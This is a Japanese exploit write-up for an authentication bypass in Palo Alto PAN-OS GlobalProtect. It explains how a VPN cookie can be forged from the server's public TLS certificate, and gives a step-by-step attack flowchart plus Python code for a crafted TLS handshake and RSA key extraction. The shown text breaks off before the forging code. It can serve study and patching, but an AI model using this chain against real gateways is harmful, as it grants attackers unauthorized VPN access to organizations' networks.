
Palo Alto Networks PAN-OSには、GlobalProtectポータルとゲートウェイの欠陥に起因する認証バイパスの脆弱性が存在します。攻撃者はこれを利用して不正なVPN接続を確立できる可能性があります。この脆弱性を悪用するには、ポータルまたはゲートウェイへのネットワークアクセスが必要です。
このエクスプロイトは、サーバーの公開されているTLS証明書のみを使用して認証クッキーを偽造することで、Palo Alto GlobalProtect ゲートウェイ/ポータルへの未認証VPNアクセスを実現します。
GlobalProtect は、クライアントの認証を可能にする事前認証クッキー(portal-userauthcookie)を使用しています。ここに致命的な欠陥があります:
Normal Flow:
1. Client authenticates (username + password)
2. Server generates a cookie → encrypts it with server's RSA PUBLIC key
3. Client stores the encrypted cookie
4. On reconnect, client sends the cookie → server decrypts with PRIVATE key → trusts it
The Bug:
The server ONLY checks if the cookie decrypts successfully with its private key.
It does NOT verify WHO encrypted it or if the plaintext content is legitimate.
RSA公開鍵はサーバーのTLS証明書に埋め込まれており(接続する誰でもアクセス可能)、そのため任意の攻撃者は以下を行うことができます:
これは教科書どおりの壊れた認証の欠陥です — デジタル署名またはHMACが必要な場面で暗号化を使用しています。
flowchart TD
A["Step 1: Raw TCP Connect"] --> B["Step 2: Send Crafted TLS ClientHello"]
B --> C["Step 3: Parse ServerHello → Extract DER Certificates"]
C --> D["Step 4: Walk ASN.1 to Extract RSA Public Key"]
D --> E["Step 5: Forge PKCS#1 v1.5 Encrypted Cookie"]
E --> F["Step 6: POST to /ssl-vpn/login.esp"]
F --> G{"Server Decrypts Cookie"}
G -->|"Valid plaintext"| H[" Auth Bypass — VPN Access Granted"]
G -->|"Invalid"| I[" Rejected"]
なぜ生(raw)なのか? サーバーの証明書をDER(生バイナリ)形式で取得する必要があるためです。Python の
sslモジュールは内部で完全なTLSハンドシェイクを実行し、同じ方法で生の証明書バイトを公開しません。生のTCP接続を行い、手作りしたClientHelloを送信することで、サーバーの応答をバイトレベルで傍受できます。
TLSレコードは次のようになります:
┌──────────────────────────────────────────────────┐
│ TLS Record Header (5 bytes) │
│ ┌──────┬──────────┬────────────┐ │
│ │ Type │ Version │ Length │ │
│ │ 0x16 │ 0x03 01 │ 2 bytes │ │
│ │(Hshk)│(TLS 1.0) │ │ │
│ └──────┴──────────┴────────────┘ │
│ │
│ Handshake Message │
│ ┌──────┬────────────┬─────────────────────────┐ │
│ │ Type │ Length │ Body │ │
│ │ 0x01 │ 3 bytes │ (ClientHello) │ │
│ │(CHlo)│ │ │ │
│ └──────┴────────────┴─────────────────────────┘ │
└──────────────────────────────────────────────────┘
ClientHelloボディには以下が含まれます:
| フィールド | 値 | 目的 |
|---|---|---|
| バージョン | 0x03 0x03 (TLS 1.2) | TLS 1.2に対応していることをサーバーに伝える |
| ランダム | 4バイトのタイムスタンプ + 28バイトのランダム値 | ハンドシェイク用のノンス |
| セッションID | 0x00 (空) | セッション再開なし |
| 暗号スイート | TLS_RSA_WITH_AES_128_CBC_SHA を含む9スイート | 重要: RSAのみの暗号スイートを含めることで、サーバーにRSA証明書の使用を強制します |
| 圧縮 | 0x00 (なし) | 必須 |
含まれる拡張:
| 拡張 | ID | 目的 |
|---|---|---|
| SNI(サーバー名表示) | 0x0000 | 接続先のホスト名をサーバーに伝える |
| 署名アルゴリズム | 0x000D | サポートする署名アルゴリズムを通知する |
| サポート対象グループ | 0x000A | サポートするEC曲線(P-256、P-384、P-521) |
| ECポイント形式 | 0x000B | 非圧縮ECポイント |
[!NOTE] 暗号スイートには意図的にRSA鍵交換暗号(
0x002F=TLS_RSA_WITH_AES_128_CBC_SHA)が含まれています。これにより、サーバーはECDSA証明書ではなくRSA証明書で応答するように促されます。これはエクスプロイトがRSAでのみ機能するため重要です。
ClientHelloを送信した後、サーバーは複数のTLSレコードを返します:
Server Response:
┌─────────────────┐
│ ServerHello │ (handshake type 2)
├─────────────────┤
│ Certificate │ (handshake type 11) ← WE WANT THIS
├─────────────────┤
│ ServerKeyExchange│ (handshake type 12, optional)
├─────────────────┤
│ ServerHelloDone │ (handshake type 14) ← STOP SIGNAL
└─────────────────┘
フェーズ1 — TLSレコードヘッダーの除去:
各TLSレコードには5バイトのヘッダーがあります:[type(1)] [version(2)] [length(2)]。コードはすべてのレコードをスキャンし、type == 22(Handshake)のものについて、そのペイロードを連結します:
while i + 5 <= len(data):
t = data[i] # content type
rl = (data[i + 3] << 8) | data[i + 4] # record length
if t == 22: # Handshake
hs.extend(data[i + 5: i + 5 + rl]) # grab payload
i += 5 + rl # next record
フェーズ2 — Certificateメッセージ(タイプ11)の検出:
ハンドシェイクストリーム内では、各メッセージに4バイトのヘッダーがあります:[type(1)] [length(3)]。type == 11をスキャンします:
while j + 4 <= len(hs):
ht = hs[j] # handshake type
hl = (hs[j+1] << 16) | (hs[j+2] << 8) | hs[j+3] # 3-byte length
if ht == 11: # Certificate!
# Parse the certificate list inside
フェーズ3 — 個々のDER証明書の抽出:
Certificateメッセージには証明書のリストが含まれ、各証明書には3バイトの長さが前置されます:
Certificate Message Body:
┌───────────────────────────────────┐
│ Total Certs Length (3 bytes) │
├───────────────────────────────────┤
│ Cert 1 Length (3 bytes) │
│ Cert 1 DER data (variable) │
├───────────────────────────────────┤
│ Cert 2 Length (3 bytes) │
│ Cert 2 DER data (variable) │
├───────────────────────────────────┤
│ ... │
└───────────────────────────────────┘
私たちのテスト実行では、3つの証明書(リーフ証明書、中間CA、ルートCA)を取得しました。
この関数はServerHelloDone(ハンドシェイクタイプ14)をスキャンします。これはサーバーが送信を完了したことを示し、読み取りを停止できることを知らせます。
X.509証明書はDER(Distinguished Encoding Rules)でエンコードされており、これはASN.1(Abstract Syntax Notation One)に基づくバイナリ形式です。
DER内のすべての要素は次のとおりです:
┌─────┬────────┬───────────────────┐
│ Tag │ Length │ Value (payload) │
│ 1B │ 1-5B │ variable │
└─────┴────────┴───────────────────┘
長さのエンコード:
0x80 未満の場合:長さはそのバイト自体(短形式)0x80 以上の場合:下位7ビット = 長さをエンコードする後続バイト数(長形式)# Example: length byte = 0x82 → 2 more bytes follow
# Next 2 bytes: 0x06 0x4F → length = 0x064F = 1615 bytes
def rd_tl(d, p):
tag = d[p]; p += 1
length = d[p]; p += 1
if length & 0x80: # long form?
nb = length & 0x7F # how many bytes follow
length = 0
for _ in range(nb):
length = (length << 8) | d[p]
p += 1
return {"tag": tag, "len": length, "pos": p} # pos = start of value
Certificate ::= SEQUENCE { ← tag 0x30
tbsCertificate SEQUENCE { ← tag 0x30
version [0] EXPLICIT ← tag 0xA0 (optional)
serialNumber INTEGER ← tag 0x02
signature SEQUENCE (AlgorithmID) ← tag 0x30
issuer SEQUENCE ← tag 0x30
validity SEQUENCE ← tag 0x30
subject SEQUENCE ← tag 0x30
subjectPublicKeyInfo SEQUENCE { ← tag 0x30 ★ WE WANT THIS ★
algorithm SEQUENCE { ← tag 0x30
algorithm OID ← tag 0x06
parameters (optional)
}
subjectPublicKey BIT STRING { ← tag 0x03
RSAPublicKey SEQUENCE { ← tag 0x30
modulus INTEGER ← tag 0x02 ★ n ★
exponent INTEGER ← tag 0x02 ★ e ★
}
}
}
...
}
...
}
この関数は、タグ+長さを読み取り、不要なフィールドをスキップしながらDERツリーを移動します: